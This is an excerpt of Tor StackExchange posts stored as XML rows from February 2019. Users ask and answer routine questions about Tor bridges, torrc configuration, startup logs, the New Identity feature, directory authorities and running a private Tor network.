  <row Id="19467" PostTypeId="2" ParentId="19321" CreationDate="2019-02-20T17:00:34.867" Score="0" Body="&lt;p&gt;You could also try using an Ethernet cable which would make the internet speed much better, smoother and more constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try accessing that website (without tor) : &lt;a href=&quot;http://archive1.parrotsec.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://archive1.parrotsec.org/&lt;/a&gt; and navigate where it says sppedtest. Then on the URL find and replace the results.html part and hit enter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would let you know what your maximum upload and download speeds are and how much of the traffic you receive / send is junk.&lt;/p&gt;&#xA;" OwnerUserId="25319" LastActivityDate="2019-02-20T17:00:34.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19468" PostTypeId="1" CreationDate="2019-02-20T22:10:22.463" Score="3" ViewCount="118" Body="&lt;p&gt;When I visit the BridgeDB I noticed there's no longer an option to select a Meek PT bridge. I also find that whenever I try to get a find bridges with an IPv6 address, I can't get any results no matter which type of bridge I select. I considered emailing bridges@torproject.org however they only accepts emails from Gmail, Yahoo, and Riseup. I don't want to sign up for Gmail or Yahoo because it would require me to allow JavaScript and my phone number, and I'm unable to get an account with Riseup since they're an invite-only service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how should I go about getting Meek Pluggable Transports and bridges with IPv6 addresses?&lt;/p&gt;&#xA;" OwnerUserId="25334" LastActivityDate="2022-03-07T18:01:10.150" Title="Can't get Meek PT's or IPv6 addresses?" Tags="|bridge|meek|ipv6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19470" PostTypeId="2" ParentId="19468" CreationDate="2019-02-21T11:35:18.230" Score="0" Body="&lt;p&gt;It really strange, but I guess &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BridgeDB&lt;/a&gt; doesn't give bridges with meek transports anymore. Neither on their website or on their mail.&lt;br&gt;&#xA;You still have a lot of other pluggable transports such as &lt;code&gt;fte&lt;/code&gt;, &lt;code&gt;obfs3&lt;/code&gt;, &lt;code&gt;obfs4&lt;/code&gt; &lt;em&gt;(usually the way to go)&lt;/em&gt; and &lt;code&gt;scramblesuit&lt;/code&gt;. You can get them all with IPv6 addresses. You should try to use one of them.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2019-02-21T11:35:18.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19471" PostTypeId="2" ParentId="19427" CreationDate="2019-02-21T11:51:34.950" Score="0" Body="&lt;p&gt;You probably can't do this without installing 3rd-party plugins (which you should &lt;strong&gt;not&lt;/strong&gt; do at all, unless you absolutly sure they are not using internet). But there is a button in Tor Browser called &lt;strong&gt;New Identity&lt;/strong&gt;. It's automaticly clears all your cookies and other sensetive data and changes your circuits. You can see it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sYdjV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sYdjV.png&quot; alt=&quot;Tor Browser screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2019-02-21T11:51:34.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19472" PostTypeId="2" ParentId="19421" CreationDate="2019-02-21T14:19:48.060" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Now my question is: why was this happening? Does Tor not allow a DirPort of 80? I can verify it was unblocked, and nothing should have been using it (nor was it when I checked)&lt;/p&gt;&#xA;&lt;p&gt;I host my VPS with Hetzner, they don't block ports that I'm aware of&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It seems as your VPS doesn't allow some customers to open port 80. Thats the only explanation I could think of. It happend to me when I tried to host a website on a VPS. After some chatting with customer support, they said that they block certain ports on a low price VPS plans.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2019-02-21T14:19:48.060" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19473" PostTypeId="2" ParentId="18080" CreationDate="2019-02-21T22:56:15.617" Score="0" Body="&lt;p&gt;It is, of course, possible that an attacker gets access to a directory authority and it might also be possible to &quot;inject&quot; compromised nodes. However Tor is currently designed that the majority of directory authorities has to vote on every node. So when one authority injects nodes it needs to convince four more authorities to accept those nodes. This is quite hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore it is expected that the people who run the authorities take some care regarding the security of the nodes. So getting access should be hard and if one gets access, it should be identified as a problm quite fast.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-02-21T22:56:15.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19476" PostTypeId="1" CreationDate="2019-02-22T15:04:50.993" Score="1" ViewCount="9953" Body="&lt;p&gt;I was trying to download some videos which are restricted in my country. Sometimes there are some websites which are also restricted. I tried to integrate IDM into th ToR Browser. I failed. Is there any way I can do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other video downloader for ToR especially?&lt;/p&gt;&#xA;" OwnerUserId="25345" LastActivityDate="2019-11-13T01:00:50.477" Title="IDM Integration" Tags="|add-on|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19477" PostTypeId="1" CreationDate="2019-02-22T15:57:17.083" Score="7" ViewCount="6807" Body="&lt;p&gt;I'm starting tor using &lt;code&gt;sudo service tor start&lt;/code&gt;. When checking &lt;code&gt;sudo service  tor status&lt;/code&gt;, it's saying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo service tor status&#xA;● tor.service - Anonymizing overlay network for TCP (multi-instance-master)&#xA;   Loaded: loaded (/lib/systemd/system/tor.service; enabled; vendor preset: enabled)&#xA;   Active: active (exited) since Fri 2019-02-22 15:43:14 UTC; 6min ago&#xA;  Process: 24491 ExecStart=/bin/true (code=exited, status=0/SUCCESS)&#xA; Main PID: 24491 (code=exited, status=0/SUCCESS)&#xA;   CGroup: /system.slice/tor.service&#xA;&#xA;Feb 22 15:43:14 raspberrypi systemd[1]: Starting Anonymizing overlay network for TCP (multi-instance-master)...&#xA;Feb 22 15:43:14 raspberrypi systemd[1]: Started Anonymizing overlay network for TCP (multi-instance-master).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my torrc, I only added this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/sshd/&#xA;HiddenServiceVersion 3&#xA;HiddenServicePort 1234 127.0.0.1:9735&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I switched on debugging, but there doesn't seem to be any problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Feb 22 15:43:15.000 [notice] Tor 0.3.5.8 opening log file.&#xA;Feb 22 15:43:15.518 [notice] Tor 0.3.5.8 running on Linux with Libevent 2.0.21-stable, OpenSSL 1.1.0j, Zlib 1.2.8, Liblzma 5.2.2, and Libzstd 1.1.2.&#xA;Feb 22 15:43:15.519 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Feb 22 15:43:15.519 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;Feb 22 15:43:15.519 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Feb 22 15:43:15.536 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Feb 22 15:43:15.536 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Feb 22 15:43:15.000 [warn] Your log may contain sensitive information - you're logging more than &quot;notice&quot;. Don't log unless it serves an important reason. Overwrite the log afterwards.&#xA;Feb 22 15:43:15.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Feb 22 15:43:16.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Feb 22 15:43:17.000 [notice] Bootstrapped 0%: Starting&#xA;Feb 22 15:43:21.000 [notice] Starting with guard context &quot;default&quot;&#xA;Feb 22 15:43:22.000 [notice] Signaled readiness to systemd&#xA;Feb 22 15:43:22.000 [notice] Opening Socks listener on /run/tor/socks&#xA;Feb 22 15:43:22.000 [notice] Opened Socks listener on /run/tor/socks&#xA;Feb 22 15:43:22.000 [notice] Opening Control listener on /run/tor/control&#xA;Feb 22 15:43:22.000 [notice] Opened Control listener on /run/tor/control&#xA;Feb 22 15:43:22.000 [notice] Bootstrapped 10%: Finishing handshake with directory server&#xA;Feb 22 15:43:22.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Feb 22 15:43:22.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Feb 22 15:43:22.000 [notice] Bootstrapped 100%: Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I find out why my tor is not starting?&lt;/p&gt;&#xA;" OwnerUserId="25346" LastActivityDate="2022-05-08T17:47:13.450" Title="Tor not starting: status is active (exited)" Tags="|configuration|raspberry-pi|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="19478" PostTypeId="2" ParentId="19420" CreationDate="2019-02-22T19:00:47.940" Score="1" Body="&lt;p&gt;It's not really clear why Tor doesn't start in your case, but from your log, it could mean:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_service_provider&quot; rel=&quot;nofollow noreferrer&quot;&gt;ISP (Internet Service Provider)&lt;/a&gt; blocks all Tor connections.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In your log, Tor said that it cannot setup a secure connection using &lt;a href=&quot;https://en.wikipedia.org/wiki/Transport_Layer_Security&quot; rel=&quot;nofollow noreferrer&quot;&gt;TLS (Transport Layer security)&lt;/a&gt;, which it's using for making Tor secure. If thats the case, you can try to avoid it by using bridges. Tor project website &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;provides a great explanation&lt;/a&gt; on how bridges work and how to use them.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your system clock is off sync.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sometimes, Tor can't properly work if your system clock is off sync. You can find instructions online for your OS, just google someting along the lines of &lt;code&gt;How to synchronize time on *Insert the name of the OS you are using*&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Some program on your PC blocks Tor connection&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While it's unlikely to happen, you may have a program that blocks Tor from working properly. For example, an antivirus. It was disscussed on Tor StackExchange already: &lt;a href=&quot;https://tor.stackexchange.com/questions/14010/tor-browser-conflicts-with-malwarebytes-antimalware&quot;&gt;Tor browser conflicts with Malwarebytes antimalware&lt;/a&gt;. Try to disable your antivirus and try again.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2019-02-22T19:00:47.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19479" PostTypeId="2" ParentId="19476" CreationDate="2019-02-22T19:28:47.503" Score="1" Body="&lt;p&gt;First of all, you should &lt;em&gt;NOT&lt;/em&gt; use any add-ons in Tor, except for those that are included it Tor Browser (such as NoScript, HTTPSEverywhere and other privacy related add-ons).&lt;br&gt;&#xA;&lt;a href=&quot;https://tor.stackexchange.com/a/15407/17825&quot;&gt;This answer&lt;/a&gt; by user &lt;a href=&quot;https://tor.stackexchange.com/users/16936/houndcat&quot;&gt;HoundCat&lt;/a&gt; explains it really well:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Just keep in mind that whether you use plugins or addons, many of them&#xA;  perform background operations communicating with remote servers.&#xA;  Unless you know exactly where the traffic is going and coming from as&#xA;  well as the transport layer being used to transmit and receive the&#xA;  data associated with the plugin or addon, you can't be sure that what&#xA;  is passing to and from your system is being channeled through tor and&#xA;  the corresponding relays. Without knowing all of that, it's best to&#xA;  keep the plugin and addon usage down to a minimum if using at all. I&#xA;  would recommend to refrain from using any while navigating&#xA;  with/through tor, and revisit where you can later with the standard&#xA;  browser when not connected through the tor network if you want or need&#xA;  to used any plugins or addons. Of course that would exclude any tor&#xA;  specific network locations such as .onion sites, but I'm sure you'd&#xA;  hate to expose yourself when you're trying to be anonymous. It's&#xA;  definitely a sticky situation, but always better to exercise caution&#xA;  when unsure (aka better safe than sorry). Some of the comments above&#xA;  are really useful such as reviewing a short list of must-have add-ons&#xA;  to keep them down to a minimum and to know that they are safe.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2019-02-22T19:28:47.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19480" PostTypeId="2" ParentId="18006" CreationDate="2019-02-22T20:48:30.017" Score="1" Body="&lt;p&gt;I can get lifewire through Tor by just running its link anonymously in Startpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: use DDG or Startpage and search on (w/out quotes) &quot;lifewire.com&quot;. Click on Anonymous View for that &lt;a href=&quot;https://www.lifewire.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.lifewire.com&lt;/a&gt; result that shows up. Then you're in.  Then all resulting links in lifewire.com should run anonymously, at least as long as your session lasts.  &lt;/p&gt;&#xA;" OwnerUserId="25348" LastActivityDate="2019-02-22T20:48:30.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19481" PostTypeId="2" ParentId="19452" CreationDate="2019-02-23T14:28:33.287" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;My question is would this be helpful to run an directory authority?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If some random person could become a Directory authority, that person would be able to pull off some serious attacks on the whole Tor network. Currently, &lt;a href=&quot;https://metrics.torproject.org/rs.html#search/flag:authority&quot; rel=&quot;nofollow noreferrer&quot;&gt;there are 10 Directory Authorities&lt;/a&gt; which are &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/app/config/auth_dirs.inc&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;hard-coded&lt;/strong&gt; in Tor's code&lt;/a&gt;. They decide which Tor nodes are good and which are bad, which versions of Tor are recommended and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to create your own private tor network (For example, anonymously access your computers at your private network that can't be accessed by regular Dir Authorities), tor nodes in your network can use a specific Directory Authority using &lt;code&gt;DirAuthority&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting &lt;a href=&quot;https://www.torproject.org/docs/tor-manual-dev.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;DirAuthority [nickname] [flags] ipv4address:port fingerprint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Use a nonstandard authoritative directory server at the provided address and port, with the specified key fingerprint. This option can be repeated many times, for multiple authoritative directory servers. Flags are separated by spaces, and determine what kind of an authority this directory is. By default, an authority is not authoritative for any directory style or version unless an appropriate flag is given. Tor will use this authority as a bridge authoritative directory if the &quot;bridge&quot; flag is set. If a flag &lt;code&gt;orport=port&lt;/code&gt; is given, Tor will use the given port when opening encrypted tunnels to the dirserver. If a flag &lt;code&gt;weight=num&lt;/code&gt; is given, then the directory server is chosen randomly with probability proportional to that weight (default 1.0). If a flag &lt;code&gt;v3ident=fp&lt;/code&gt; is given, the dirserver is a v3 directory authority whose v3 long-term signing key has the fingerprint fp. Lastly, if an &lt;code&gt;ipv6=[ipv6address]:orport&lt;/code&gt; flag is present, then the directory authority is listening for IPv6 connections on the indicated IPv6 address and OR Port.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17825" LastEditorUserId="17825" LastEditDate="2019-02-23T14:38:18.583" LastActivityDate="2019-02-23T14:38:18.583" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19482" PostTypeId="1" AcceptedAnswerId="19492" CreationDate="2019-02-23T14:49:45.457" Score="1" ViewCount="196" Body="&lt;p&gt;If i use a tor program like orbot, then all the data goes through tor, so the location should be hidden.&#xA;does this also apply to radio cell query?&lt;/p&gt;&#xA;" OwnerUserId="25352" LastActivityDate="2019-02-24T02:27:04.403" Title="does tor used on mobile networks disable tracking of location?" Tags="|mobile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19483" PostTypeId="1" CreationDate="2019-02-23T14:53:46.790" Score="2" ViewCount="1006" Body="&lt;p&gt;I added some lines in my torcc file. At first I added: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {fr},{be},{ch},{lu},{mc}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I launch Tor with Vidalia it keeps in the state &quot;searching informations about the relay&quot;, so it does not connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EntryNodes {fr},{be},{ch},{lu},{mc}&#xA;StrictNodes 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even changed the argument &lt;code&gt;StrictNodes&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt; for &lt;code&gt;ExitNodes&lt;/code&gt;, it still does not work. So I tried with adding &lt;code&gt;FascistFirewall 1&lt;/code&gt; as it is mentioned in the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#FirewallPorts&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; but it changes nothing.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;update: log messages.&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;févr. 24 14:38:56.904 [Notification] Tor 0.3.5.7 (git-9beb085c10562a25) running on Windows 7 &#xA;with Libevent 2.1.8-stable, OpenSSL 1.0.2p, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.&#xA;&#xA;févr. 24 14:38:56.904 [Notification] Tor can't help you if you use it wrong! &#xA;Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;&#xA;févr. 24 14:38:56.904 [Notification] Read configuration file &#xA;&quot;C:\Users\Truc\Documents\Tor\Data\Tor\torrc&quot;.&#xA;&#xA;févr. 24 14:38:56.904 [Avertissement] The ReachableDirAddresses option is &#xA;deprecated, and will most likely be removed in a future version of Tor. It &#xA;has no effect on relays, and has had no effect on clients since 0.2.8. (If &#xA;you think this is a mistake, please let us know!)&#xA;&#xA;févr. 24 14:38:56.904 [Avertissement] Path for GeoIPFile (&amp;lt;default&amp;gt;) is &#xA;relative and will resolve to C:\Users\Truc\Documents\Tor\&amp;lt;default&amp;gt;. Is &#xA;this what you wanted?&#xA;&#xA;févr. 24 14:38:56.904 [Avertissement] Path for GeoIPv6File (&amp;lt;default&amp;gt;) is &#xA;relative and will resolve to C:\Users\Truc\Documents\Tor\&amp;lt;default&amp;gt;. Is this &#xA;what you wanted?&#xA;&#xA;févr. 24 14:38:56.904 [Avertissement] Path for DataDirectory &#xA;(C:/Users/Truc/Documents/Tor/Data/Tor) is relative and will resolve to &#xA;C:\Users\Truc\Documents\Tor\Data\Tor. Is this what you wanted?&#xA;&#xA;févr. 24 14:38:56.904 [Notification] Opening Socks listener on 127.0.0.1:9050&#xA;&#xA;févr. 24 14:38:56.904 [Notification] Opened Socks listener on 127.0.0.1:9050&#xA;&#xA;févr. 24 14:38:56.904 [Notification] Opening Control listener on 127.0.0.1:9051&#xA;&#xA;févr. 24 14:38:56.904 [Notification] Opened Control listener on 127.0.0.1:9051&#xA;&#xA;févr. 24 14:38:56.904 [Avertissement] Failed to open GEOIP file &#xA;C:\Users\Truc\AppData\Roaming\tor\geoip.&#xA;&#xA;févr. 24 14:38:56.904 [Avertissement] We've been configured to use (or &#xA;avoid) nodes in certain countries, and we need GEOIP information to figure &#xA;out which ones they are.&#xA;&#xA;févr. 24 14:38:56.904 [Avertissement] Failed to open GEOIP file &#xA;C:\Users\Truc\AppData\Roaming\tor\geoip6.&#xA;&#xA;févr. 24 14:38:56.904 [Avertissement] We've been configured to use (or &#xA;avoid) nodes in certain countries, and we need GEOIP information to figure &#xA;out which ones they are.&#xA;&#xA;févr. 24 14:38:56.904 [Notification] Bootstrapped 0%: Starting&#xA;&#xA;févr. 24 14:39:02.020 [Avertissement] Your configuration excludes 100% of &#xA;all possible guards. That's likely to make you stand out from the rest of &#xA;the world.&#xA;&#xA;févr. 24 14:39:02.020 [Notification] Starting with guard context &#xA;&quot;restricted&quot;&#xA;&#xA;févr. 24 14:39:02.020 [Notification] New control connection opened from &#xA;127.0.0.1.&#xA;&#xA;févr. 24 15:50:00.216 [Notification] Bootstrapped 5%: Connecting to &#xA;directory server&#xA;&#xA;févr. 24 15:50:00.351 [Notification] Bootstrapped 10%: Finishing handshake &#xA;with directory server&#xA;&#xA;févr. 24 15:50:00.351 [Notification] Bootstrapped 45%: Asking for relay &#xA;descriptors&#xA;&#xA; févr. 24 15:50:04.671 [Notification] I learned some more directory &#xA; information, but not enough to build a circuit: We need more &#xA; microdescriptors: we have 6427/6503, and can only build 0% of likely paths. &#xA; (We have 0% of guards bw, 99% of midpoint bw, and 0% of exit bw = 0% of &#xA; path bw.)&#xA;&#xA; févr. 24 15:50:05.336 [Notification] Bootstrapped 50%: Loading relay &#xA; descriptors&#xA;&#xA; févr. 24 17:14:04.759 [Notification] I learned some more directory &#xA; information, but not enough to build a circuit: We need more &#xA; microdescriptors: we have 6478/6522, and can only build 0% of likely paths. &#xA;(We have 0% of guards bw, 99% of midpoint bw, and 0% of exit bw = 0% of path &#xA;bw.)&#xA;&#xA;févr. 24 18:28:01.399 [Avertissement] Tried connecting to router at &#xA;51.254.147.57:443, but RSA + ed25519 identity keys were not as expected: &#xA;wanted EB80A8D52F07238B576C42CEAB98ADD084EE075E + no ed25519 key but got &#xA;D15AFF44BE641368B958A32FB6B071AC2136B8B1 + &#xA;G/N2baMRctZ7vNhZRGxZ1aqwpU04UBVC8d3iHVeQxa4.&#xA;&#xA;févr. 24 18:29:05.424 [Notification] I learned some more directory &#xA;information, but not enough to build a circuit: We need more &#xA;microdescriptors: we have 6443/6547, and can only build 0% of likely paths. &#xA;(We have 0% of guards bw, 99% of midpoint bw, and 0% of exit bw = 0% of path &#xA;bw.)&#xA;&#xA;févr. 24 19:50:05.456 [Notification] I learned some more directory &#xA;information, but not enough to build a circuit: We need more &#xA;microdescriptors: we have 6494/6558, and can only build 0% of likely paths. &#xA;(We have 0% of guards bw, 99% of midpoint bw, and 0% of exit bw = 0% of path &#xA;bw.)&#xA;&#xA;févr. 24 20:38:59.390 [Notification] Heartbeat: Tor's uptime is 6:00 hours, &#xA;with 0 circuits open. I've sent 56 kB and received 401 kB.&#xA;&#xA;févr. 24 20:38:59.390 [Notification] Average packaged cell fullness: &#xA;73.876%. &#xA;TLS write overhead: 13%&#xA;&#xA;févr. 24 21:33:06.007 [Notification] I learned some more directory &#xA;information, but not enough to build a circuit: We need more &#xA;microdescriptors: we have 6471/6581, and can only build 0% of likely paths. &#xA;(We have 0% of guards bw, 99% of midpoint bw, and 0% of exit bw = 0% of path &#xA;bw.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes: As I told I use Vidalia 0.2.21, Tor 0.3.4.8 and Polipo proxy configured to run with Tor in Vidalia. Besides, when I erase these added lines it manages to connect with Tor.&#xA;Besides file &lt;code&gt;GeoIPFile&lt;/code&gt; and &lt;code&gt;GeoIPv6File&lt;/code&gt; were added with the new version of Tor, and the previous version had the problem anyway.&lt;/p&gt;&#xA;" OwnerUserId="25353" LastEditorUserId="25353" LastEditDate="2019-02-25T00:10:50.923" LastActivityDate="2022-09-04T20:26:23.687" Title="Tor keeps in “searching informations about the relay” when ExitNodes parameter is set in torcc file" Tags="|configuration|exit-relays|vidalia|node|" AnswerCount="2" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="19484" PostTypeId="1" AcceptedAnswerId="19493" CreationDate="2019-02-23T18:00:07.740" Score="2" ViewCount="378" Body="&lt;p&gt;I have been studying the papers on Tor and Onion Routing for my thesis and I have been trying to figure out how the whole cell size works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the OR paper it is made clear that when a cell moves in the forward direction, every time an encryption layer is removed, the size is kept the same with the use of padding. This is not mentioned clearly in the Tor paper, but I believe that it is the same there as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does it work in the opposite direction (backward)? In the OR paper it says that in every node, an encryption layer is added on the cell and the initiator receives a cell with multiple layers of encryption. But, is there a use of padding here as well, in order to maintain the size? And how do it work for the second and third node?  Do they remove padding in order to add a layer of encryption?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="25355" LastActivityDate="2019-02-24T06:42:04.967" Title="Relay cell size moving backward" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19485" PostTypeId="1" CreationDate="2019-02-23T19:51:24.287" Score="0" ViewCount="541" Body="&lt;p&gt;I know that this is to clear cache, cookies, DNS and also other things that i don't know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know when should i &quot;Create new identity&quot;.&lt;/p&gt;&#xA;" OwnerUserId="25198" LastActivityDate="2019-02-24T02:23:50.627" Title="How often should i click on &quot;Create new identity&quot;?" Tags="|tor-browser-bundle|anonymity|identity-change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19487" PostTypeId="1" AcceptedAnswerId="19499" CreationDate="2019-02-23T22:10:17.580" Score="1" ViewCount="1364" Body="&lt;p&gt;Please help me verify the Tails signing key. Without having access to the web of trust, I'm trying to collect fingerprint data from multiple sources to be more certain that I've downloaded the authentic key from the Tails website.&#xA;If you have it in your keyring, would you please paste the data about it from the output of this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gpg --with-fingerprint --with-subkey-fingerprints --list-keys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would allow me to gain some trust in it by comparing the primary and all subkey fingerprints with the ones from the key I've got.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have it in your keyring, would you please download it from &lt;a href=&quot;https://tails.boum.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org&lt;/a&gt; and use the same command, changing --list-keys with [path to key file] and pasting its output instead. That would still be helpful.&#xA;Thanks to all who help!&lt;/p&gt;&#xA;" OwnerUserId="25356" LastEditorUserId="17825" LastEditDate="2019-02-25T19:52:28.907" LastActivityDate="2019-02-25T22:58:07.943" Title="Help with Tails signing key verification" Tags="|security|tails|help|verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19488" PostTypeId="1" CreationDate="2019-02-23T23:47:07.617" Score="0" ViewCount="672" Body="&lt;p&gt;Can I setup a Tor exit node using Virtual Private Server that uses VPN that allows port forwarding. Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="25148" LastEditorUserId="17825" LastEditDate="2019-02-25T19:52:23.203" LastActivityDate="2022-03-17T03:09:35.980" Title="Vps works over tor" Tags="|tor-browser-bundle|vps|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19489" PostTypeId="2" ParentId="19488" CreationDate="2019-02-24T00:14:38.737" Score="0" Body="&lt;p&gt;These are questions you must ask your hosting provider. Not all allow exit nodes, but most allow relay. Contact you VPS provider for more information&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-24T00:14:38.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19490" PostTypeId="1" AcceptedAnswerId="19496" CreationDate="2019-02-24T00:17:15.717" Score="1" ViewCount="241" Body="&lt;p&gt;My company is looking to use Tor internally for our network, using our own directory authority server, and would like to know if it's possible and how to do it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus points if we could use it for private external access&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-24T15:16:09.663" Title="Set up Tor as internal Network" Tags="|relays|network-configuration|directory|server-administration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19491" PostTypeId="2" ParentId="19485" CreationDate="2019-02-24T00:20:36.123" Score="2" Body="&lt;p&gt;It depends on your privacy needs. Tor does this on it's own to an extent every ten minutes (at least with your exit node)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if you wanted to visit a site repeatedly as a new user, you should do it every refresh. For normal users, the default is fine. It all depends on what you feel you need. To completely start anew, every so often restarting tor browser is best&lt;/p&gt;&#xA;" OwnerUserId="25283" LastEditorUserId="25283" LastEditDate="2019-02-24T02:23:50.627" LastActivityDate="2019-02-24T02:23:50.627" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
